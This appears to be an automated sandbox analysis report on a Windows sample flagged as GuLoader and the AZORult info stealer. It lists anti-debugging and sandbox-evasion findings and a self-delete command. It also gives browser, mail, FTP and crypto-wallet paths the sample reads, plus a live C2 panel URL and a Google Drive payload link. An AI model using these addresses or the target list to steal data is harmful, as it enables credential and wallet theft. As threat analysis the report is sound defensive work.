Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 12_1_004148A0 __vbaStrCopy,__vbaStrCopy,__vbaStrCopy,__vbaRedim,__vbaGenerateBoundsError,__vbaGenerateBoundsError,__vbaGenerateBoundsError,__vbaGenerateBoundsError,__vbaUI1I2,__vbaUI1I2,__vbaGenerateBoundsError,__vbaGenerateBoundsError,__vbaUI1I2,__vbaGenerateBoundsError,__vbaGenerateBoundsError,__vbaUI1I2,__vbaGenerateBoundsError,__vbaGenerateBoundsError,__vbaUI1I2,__vbaGenerateBoundsError,__vbaGenerateBoundsError,__vbaUI1I2,__vbaGenerateBoundsError,__vbaGenerateBoundsError,__vbaUI1I2,__vbaGenerateBoundsError,__vbaGenerateBoundsError,__vbaUI1I2,__vbaGenerateBoundsError,__vbaGenerateBoundsError,__vbaUI1I2,__vbaGenerateBoundsError,__vbaGenerateBoundsError,__vbaUI1I2,__vbaGenerateBoundsError,__vbaGenerateBoundsError,__vbaUI1I2,__vbaGenerateBoundsError,__vbaGenerateBoundsError,__vbaUI1I2,__vbaGenerateBoundsError,__vbaGenerateBoundsError,__vbaUI1I2,__vbaGenerateBoundsError,__vbaGenerateBoundsError,__vbaUI1I2,__vbaGenerateBoundsError,__vbaGenerateBoundsError,FindFirstFileW,__vbaGenerateBoundsError,__vbaGenerateBoundsError,__vbaUI1I2,__vbaGenerateBoundsError,__vbaGenerateBoundsError,__vbaUI1I2,__vbaGenerateBoundsError,__vbaGenerateBoundsError,__vbaUI1I2,__vbaGenerateBoundsError,__vbaGenerateBoundsError,__vbaUI1I2,__vbaGenerateBoundsError,__vbaGenerateBoundsError,__vbaUI1I2,__vbaGenerateBoundsError,__vbaGenerateBoundsError,__vbaUI1I2,__vbaGenerateBoundsError,__vbaGenerateBoundsError,__vbaUI1I2,__vbaFreeStr,__vbaFreeStr,__vbaFreeStr,__vbaAryDestruct,	12_1_004148A0
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 12_1_00414DD0 __vbaChkstk,__vbaOnError,FindFirstFileW,	12_1_00414DD0

Source: C:\Users\user\Desktop\1COK25f1vT.exe

System information queried: ModuleInformation

Jump to behavior

Source: 1COK25f1vT.exe, 00000000.00000002.383174684.000000000470A000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.511413114.0000000002B9A000.00000004.00000001.sdmp	Binary or memory string: Hyper-V Guest Shutdown Service
Source: 1COK25f1vT.exe, 00000000.00000002.383174684.000000000470A000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.511413114.0000000002B9A000.00000004.00000001.sdmp	Binary or memory string: Hyper-V Remote Desktop Virtualization Service
Source: 1COK25f1vT.exe, 0000000C.00000002.511413114.0000000002B9A000.00000004.00000001.sdmp	Binary or memory string: vmicshutdown
Source: 1COK25f1vT.exe, 00000000.00000002.383174684.000000000470A000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.511413114.0000000002B9A000.00000004.00000001.sdmp	Binary or memory string: Hyper-V Volume Shadow Copy Requestor
Source: 1COK25f1vT.exe, 00000000.00000002.383174684.000000000470A000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.511413114.0000000002B9A000.00000004.00000001.sdmp	Binary or memory string: Hyper-V PowerShell Direct Service
Source: 1COK25f1vT.exe, 00000000.00000002.383174684.000000000470A000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.511413114.0000000002B9A000.00000004.00000001.sdmp	Binary or memory string: Hyper-V Time Synchronization Service
Source: 1COK25f1vT.exe, 0000000C.00000002.511413114.0000000002B9A000.00000004.00000001.sdmp	Binary or memory string: vmicvss
Source: 1COK25f1vT.exe, 0000000C.00000002.511282880.0000000002150000.00000004.00000001.sdmp	Binary or memory string: ntdllkernel32user32C:\Program Files\Qemu-ga\qemu-ga.exeC:\Program Files\qga\qga.exepsapi.dllMsi.dllPublisherwininet.dllMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Geckoshell32advapi32TEMP=https://drive.google.com/uc?export=download&id=17RU0VECH2DoNYHaGWGuE-Ywt9AUTzsM-
Source: 1COK25f1vT.exe, 0000000C.00000002.511282880.0000000002150000.00000004.00000001.sdmp	Binary or memory string: C:\Program Files\Qemu-ga\qemu-ga.exe
Source: 1COK25f1vT.exe, 00000000.00000002.383174684.000000000470A000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.511413114.0000000002B9A000.00000004.00000001.sdmp	Binary or memory string: Hyper-V Data Exchange Service
Source: 1COK25f1vT.exe, 00000000.00000002.383174684.000000000470A000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.511413114.0000000002B9A000.00000004.00000001.sdmp	Binary or memory string: Hyper-V Heartbeat Service
Source: 1COK25f1vT.exe, 00000000.00000002.383174684.000000000470A000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.511413114.0000000002B9A000.00000004.00000001.sdmp	Binary or memory string: Hyper-V Guest Service Interface
Source: 1COK25f1vT.exe, 0000000C.00000002.511413114.0000000002B9A000.00000004.00000001.sdmp	Binary or memory string: vmicheartbeat

Anti Debugging:

Hides threads from debuggers

Show sources

Source: C:\Users\user\Desktop\1COK25f1vT.exe	Thread information set: HideFromDebugger			Jump to behavior
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Thread information set: HideFromDebugger			Jump to behavior

Source: C:\Users\user\Desktop\1COK25f1vT.exe

Code function: 12_2_00416290 LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,GetCurrentProcessId,

12_2_00416290

Source: C:\Users\user\Desktop\1COK25f1vT.exe

12_2_00417216

Source: C:\Users\user\Desktop\1COK25f1vT.exe

Code function: 0_2_02A986F8 rdtsc

0_2_02A986F8

Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A98EB2 mov eax, dword ptr fs:[00000030h]	0_2_02A98EB2
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A98E9D mov eax, dword ptr fs:[00000030h]	0_2_02A98E9D
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A98EDD mov eax, dword ptr fs:[00000030h]	0_2_02A98EDD
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A98ED1 mov eax, dword ptr fs:[00000030h]	0_2_02A98ED1
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A97B28 mov eax, dword ptr fs:[00000030h]	0_2_02A97B28
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A938DA mov eax, dword ptr fs:[00000030h]	0_2_02A938DA
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A96078 mov eax, dword ptr fs:[00000030h]	0_2_02A96078
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A981FF mov eax, dword ptr fs:[00000030h]	0_2_02A981FF
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A9414F mov eax, dword ptr fs:[00000030h]	0_2_02A9414F
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 12_2_00407AF0 mov eax, dword ptr fs:[00000030h]	12_2_00407AF0

Source: C:\Users\user\Desktop\1COK25f1vT.exe

Code function: 0_2_02A97092 LdrInitializeThunk,

0_2_02A97092

Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A99D25 RtlAddVectoredExceptionHandler,	0_2_02A99D25
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A99EA7 RtlAddVectoredExceptionHandler,	0_2_02A99EA7
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A99E91 RtlAddVectoredExceptionHandler,	0_2_02A99E91
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A99EFE RtlAddVectoredExceptionHandler,	0_2_02A99EFE
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A99EC5 RtlAddVectoredExceptionHandler,	0_2_02A99EC5
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A99E09 RtlAddVectoredExceptionHandler,	0_2_02A99E09
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A99E66 RtlAddVectoredExceptionHandler,	0_2_02A99E66
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A99F8C RtlAddVectoredExceptionHandler,	0_2_02A99F8C
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A99F9C RtlAddVectoredExceptionHandler,	0_2_02A99F9C
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A99F1F RtlAddVectoredExceptionHandler,	0_2_02A99F1F
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A99F6F RtlAddVectoredExceptionHandler,	0_2_02A99F6F
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A99F46 RtlAddVectoredExceptionHandler,	0_2_02A99F46
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A9A0A2 RtlAddVectoredExceptionHandler,	0_2_02A9A0A2
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A9A0FE RtlAddVectoredExceptionHandler,	0_2_02A9A0FE
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A9A025 RtlAddVectoredExceptionHandler,	0_2_02A9A025
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A9A051 RtlAddVectoredExceptionHandler,	0_2_02A9A051
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A99DC3 RtlAddVectoredExceptionHandler,	0_2_02A99DC3
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A99DDB RtlAddVectoredExceptionHandler,	0_2_02A99DDB
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A99D32 RtlAddVectoredExceptionHandler,	0_2_02A99D32
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A99D61 RtlAddVectoredExceptionHandler,	0_2_02A99D61
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A99D75 RtlAddVectoredExceptionHandler,	0_2_02A99D75
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A99D4D RtlAddVectoredExceptionHandler,	0_2_02A99D4D

HIPS / PFW / Operating System Protection Evasion:

Maps a DLL or memory area into another process

Show sources

Source: C:\Users\user\Desktop\1COK25f1vT.exe

Section loaded: unknown target: C:\Users\user\Desktop\1COK25f1vT.exe protection: execute and read and write

Jump to behavior

Source: C:\Users\user\Desktop\1COK25f1vT.exe	Process created: C:\Users\user\Desktop\1COK25f1vT.exe "C:\Users\user\Desktop\1COK25f1vT.exe"	Jump to behavior
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe" /c C:\Windows\system32\timeout.exe 3 & del "1COK25f1vT.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe C:\Windows\system32\timeout.exe 3	Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\1COK25f1vT.exe

Code function: GetLocaleInfoA,

12_2_00404BA8

Source: C:\Users\user\Desktop\1COK25f1vT.exe

Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Jump to behavior

Source: C:\Users\user\Desktop\1COK25f1vT.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\Desktop\1COK25f1vT.exe

Code function: 12_2_00416794 GetTimeZoneInformation,

12_2_00416794

Source: C:\Users\user\Desktop\1COK25f1vT.exe

Code function: 12_2_00404C71 GetCommandLineA,GetVersion,GetVersion,GetThreadLocale,GetThreadLocale,GetCurrentThreadId,

12_2_00404C71

Stealing of Sensitive Information:

Yara detected Azorult

Show sources

Source: Yara match	File source: 12.2.1COK25f1vT.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.1COK25f1vT.exe.2004391e.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.1COK25f1vT.exe.1ffd81cd.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.1COK25f1vT.exe.1ffb61e0.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000002.510992835.0000000000401000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.515598674.000000002030C000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.515276537.000000001FF80000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 1COK25f1vT.exe PID: 2132, type: MEMORYSTR

Detected AZORult Info Stealer

Show sources

Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 12_2_00414DE8	12_2_00414DE8
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 12_2_004186C4	12_2_004186C4
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 12_2_004186C4	12_2_004186C4

Yara detected Azorult Info Stealer

Show sources

Source: Yara match	File source: 12.2.1COK25f1vT.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000002.510992835.0000000000401000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 1COK25f1vT.exe PID: 2132, type: MEMORYSTR

GuLoader behavior detected

Show sources

Source: Initial file

Signature Results: GuLoader behavior

Tries to steal Mail credentials (via file / registry access)

Show sources

Source: C:\Users\user\Desktop\1COK25f1vT.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook

Jump to behavior

Tries to steal Crypto Currency Wallets

Show sources

Source: C:\Users\user\Desktop\1COK25f1vT.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\			Jump to behavior
Source: C:\Users\user\Desktop\1COK25f1vT.exe	File opened: C:\Users\user\AppData\Roaming\Jaxx\Local Storage\			Jump to behavior

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Show sources

Source: C:\Users\user\Desktop\1COK25f1vT.exe

Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Sessions\

Jump to behavior

Tries to harvest and steal ftp login credentials

Show sources

Source: C:\Users\user\Desktop\1COK25f1vT.exe

File opened: C:\Users\user\AppData\Roaming\filezilla\recentservers.xml

Jump to behavior

Tries to harvest and steal Bitcoin Wallet information

Show sources

Source: C:\Users\user\Desktop\1COK25f1vT.exe	Key opened: HKEY_CURRENT_USER\Software\monero-project\monero-core			Jump to behavior
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Key opened: HKEY_CURRENT_USER\Software\Bitcoin\Bitcoin-Qt			Jump to behavior

Found many strings related to Crypto-Wallets (likely being stolen)

Show sources

Source: 1COK25f1vT.exe	String found in binary or memory: electrum.dat
Source: 1COK25f1vT.exe	String found in binary or memory: %appdata%\Electrum\wallets\
Source: 1COK25f1vT.exe	String found in binary or memory: %APPDATA%\Jaxx\Local Storage\
Source: 1COK25f1vT.exe	String found in binary or memory: %APPDATA%\Exodus\
Source: 1COK25f1vT.exe	String found in binary or memory: %APPDATA%\Jaxx\Local Storage\
Source: 1COK25f1vT.exe	String found in binary or memory: %APPDATA%\Ethereum\keystore\
Source: 1COK25f1vT.exe	String found in binary or memory: %APPDATA%\Exodus\
Source: 1COK25f1vT.exe	String found in binary or memory: %APPDATA%\Ethereum\keystore\
Source: 1COK25f1vT.exe	String found in binary or memory: %APPDATA%\Ethereum\keystore\
Source: 1COK25f1vT.exe	String found in binary or memory: %appdata%\Electrum-LTC\wallets\

Tries to steal Instant Messenger accounts or passwords

Show sources

Source: C:\Users\user\Desktop\1COK25f1vT.exe	File opened: C:\Users\user\AppData\Roaming\.purple\accounts.xml			Jump to behavior
Source: C:\Users\user\Desktop\1COK25f1vT.exe	File opened: C:\Users\user\AppData\Roaming\.purple\accounts.xml			Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Show sources

Source: C:\Users\user\Desktop\1COK25f1vT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\1COK25f1vT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\1COK25f1vT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\1COK25f1vT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior

Source: Yara match

File source: Process Memory Space: 1COK25f1vT.exe PID: 2132, type: MEMORYSTR

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Native API1	DLL Side-Loading1	DLL Side-Loading1	Deobfuscate/Decode Files or Information1	OS Credential Dumping2	System Time Discovery1	Remote Services	Archive Collected Data1	Exfiltration Over Other Network Medium	Ingress Tool Transfer2	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Application Shimming1	Application Shimming1	Obfuscated Files or Information2	Credentials in Registry2	File and Directory Discovery2	Remote Desktop Protocol	Data from Local System4	Exfiltration Over Bluetooth	Encrypted Channel21	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Process Injection111	Software Packing11	Credentials In Files1	System Information Discovery46	SMB/Windows Admin Shares	Email Collection1	Automated Exfiltration	Non-Application Layer Protocol3	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Timestomp1	NTDS	Security Software Discovery321	Distributed Component Object Model	Input Capture	Scheduled Transfer	Application Layer Protocol114	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	DLL Side-Loading1	LSA Secrets	Virtualization/Sandbox Evasion2	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	File Deletion1	Cached Domain Credentials	Process Discovery12	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Virtualization/Sandbox Evasion2	DCSync	Remote System Discovery1	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Process Injection111	Proc Filesystem	Network Service Scanning	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
1COK25f1vT.exe	41%	Virustotal		Browse
1COK25f1vT.exe	71%	ReversingLabs	Win32.Trojan.InjectorAGen

Dropped Files

Source	Detection	Scanner	Link
C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-console-l1-1-0.dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-console-l1-1-0.dll	0%	Metadefender	Browse
C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-console-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-datetime-l1-1-0.dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-datetime-l1-1-0.dll	0%	Metadefender	Browse
C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-datetime-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-debug-l1-1-0.dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-debug-l1-1-0.dll	0%	Metadefender	Browse
C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-debug-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-errorhandling-l1-1-0.dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-errorhandling-l1-1-0.dll	0%	Metadefender	Browse
C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-errorhandling-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-file-l1-1-0.dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-file-l1-1-0.dll	0%	Metadefender	Browse
C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-file-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-file-l1-2-0.dll	0%	Metadefender	Browse
C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-file-l1-2-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-file-l2-1-0.dll	0%	Metadefender	Browse
C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-file-l2-1-0.dll	0%	ReversingLabs

Unpacked PE Files

Source	Detection	Scanner	Label	Download
0.2.1COK25f1vT.exe.1fb10000.1.unpack	100%	Avira	TR/Dropper.Gen	Download File
12.2.1COK25f1vT.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1108767	Download File
12.1.1COK25f1vT.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
http://185.29.11.112/rothchildnew/Panel/index.phpx	0%	Avira URL Cloud	safe
http://ocsp.thawte.com0	0%	URL Reputation	safe
http://www.mozilla.com0	0%	URL Reputation	safe
https://dotbit.me/a/	0%	URL Reputation	safe
http://185.29.11.112/rothchildnew/Panel/index.php	2%	Virustotal		Browse
http://185.29.11.112/rothchildnew/Panel/index.php	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
drive.google.com	172.217.168.46	true	false	high
googlehosted.l.googleusercontent.com	172.217.168.1	true	false	high
doc-0o-b4-docs.googleusercontent.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://doc-0o-b4-docs.googleusercontent.com/docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/7bnkiq90sqb2f9a5rfbavvv8a7avoa21/1639944750000/11699732749327025486/*/17RU0VECH2DoNYHaGWGuE-Ywt9AUTzsM-?e=download	false		high
http://185.29.11.112/rothchildnew/Panel/index.php	true	2%, Virustotal, Browse Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://ac.ecosia.org/autocomplete?q=	364961566067931661861453.tmp.12.dr, 364969067119854362121246.tmp.12.dr	false		high
https://duckduckgo.com/chrome_newtab	364961566067931661861453.tmp.12.dr, 364969067119854362121246.tmp.12.dr	false		high
http://www.mozilla.com/en-US/blocklist/	mozglue.dll.12.dr	false		high
https://duckduckgo.com/ac/?q=	364961566067931661861453.tmp.12.dr, 364969067119854362121246.tmp.12.dr	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	364961566067931661861453.tmp.12.dr, 364969067119854362121246.tmp.12.dr	false		high
http://crl.thawte.com/ThawteTimestampingCA.crl0	1COK25f1vT.exe, 0000000C.00000003.484184430.000000001F9EC000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.487119055.000000001F238000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.484675523.000000001F998000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.487230327.000000001F364000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.487823577.000000001F1F0000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.492897666.000000001F85C000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.492773065.000000001F838000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.485757428.000000001F368000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.492649482.000000001F820000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491908994.000000001F660000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.485890632.000000001F290000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491844346.000000001F610000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.492301830.000000001F6F0000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.515276537.000000001FF80000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491938965.000000001F6E0000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.483738780.000000001F990000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.489216061.000000001F1EC000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.484708142.000000001F9E4000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.484234075.000000001F998000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.487925295.000000001F1CC000.00000004.00000001.sdmp, mozglue.dll.12.dr, softokn3.dll.12.dr, nssdbm3.dll.12.dr, freebl3.dll.12.dr, nss3.dll.12.dr	false		high
http://185.29.11.112/rothchildnew/Panel/index.phpx	1COK25f1vT.exe, 0000000C.00000002.514050041.000000001E780000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.msn.com/de-ch/	1COK25f1vT.exe, 0000000C.00000002.515276537.000000001FF80000.00000004.00000001.sdmp	false		high
http://ocsp.thawte.com0	1COK25f1vT.exe, 0000000C.00000003.484184430.000000001F9EC000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.487119055.000000001F238000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.484675523.000000001F998000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.487230327.000000001F364000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.487823577.000000001F1F0000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.492897666.000000001F85C000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.492773065.000000001F838000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.485757428.000000001F368000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.492649482.000000001F820000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491908994.000000001F660000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.485890632.000000001F290000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491844346.000000001F610000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.492301830.000000001F6F0000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.515276537.000000001FF80000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491938965.000000001F6E0000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.483738780.000000001F990000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.489216061.000000001F1EC000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.484708142.000000001F9E4000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.484234075.000000001F998000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.487925295.000000001F1CC000.00000004.00000001.sdmp, mozglue.dll.12.dr, softokn3.dll.12.dr, nssdbm3.dll.12.dr, freebl3.dll.12.dr, nss3.dll.12.dr	false	URL Reputation: safe	unknown
http://ip-api.com/json	1COK25f1vT.exe, 1COK25f1vT.exe, 0000000C.00000002.510992835.0000000000401000.00000020.00020000.sdmp	false		high
